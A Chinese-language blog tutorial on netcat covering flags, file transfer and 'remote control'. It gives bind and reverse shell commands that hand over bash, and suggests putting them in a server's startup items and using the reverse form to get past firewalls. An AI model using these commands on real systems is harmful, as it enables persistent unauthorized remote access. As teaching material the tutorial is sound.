一、简介
nc是netcat的简写,有着网络界的瑞士×××美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。
nc 常用的命令有两个:
1、-v 输出详细的交互或者出错信息
2、-n 如果后面是ip地址不会进行dns解析
eg:nc -vn 192.168.11.11 8888
二、利用nc文本传输:
类似于socket一个作为服务端,一个作为客户端。
服务端命令:nc -l -p 端口
客户端命令: nc -vn ip port
拓展:
在电子取证的时候会用到。用 | 管道符将客户端输出的结果发送到服务端。
传输文件:
接收方命令: nc -lp 333>1.txt
发送方命令:nc -nv 111.11.11.11 333 <2 .txt
三、利用nc实现远程控制
将自己的shell脚本放在自己的端口处等待连接或者接受对方传送过来的shell窗口来实现远程控制。
方法一; nc -lp 333 -c bash(nc -vn 192.168.22.22 333)(等待对方来连接)
方法二:nc -lp 333 (nc -vn -192.145.11.1 333 -c bash)(接受对方的shell窗口)
×××思路:
可以将该命令写成脚本,然后放在服务器的开机启动项里面。
因为网站防火墙的存在,进制在外面通过端口想里面发送东西,故可以尝试第二中方法。
tips:
在window用户中应将bash 改为cmd
四、nc工具拓展
通过管道符号结合nc命令会产生意想不到的效果
比如利用nc命令结合压缩命令可以发送整个压缩包。
五、缺陷
1、明文传输,容易被嗅探(可以通过系统加密方法)
2、缺乏身份验证机制,不安全,容易被其他人盗用。
3、不同版本的nc是不同的、参数也有可能不同。unbutn版本的nc没有-c
六、拓展
1、为了解决上面的问题,便出现了ncat工具,该工具是nmap工具集中的一个工具。
2、命令:服务器端:ncat -c bash --allow “you ip” - vnl 333 --ssl
客户端: ncat -vn “ip” “端口 ” --ssl
每次连接的哈希值是会改变的,ncat可以实现的功能都可以通过nc实现。
原文地址:http://blog.51cto.com/12263326/2169228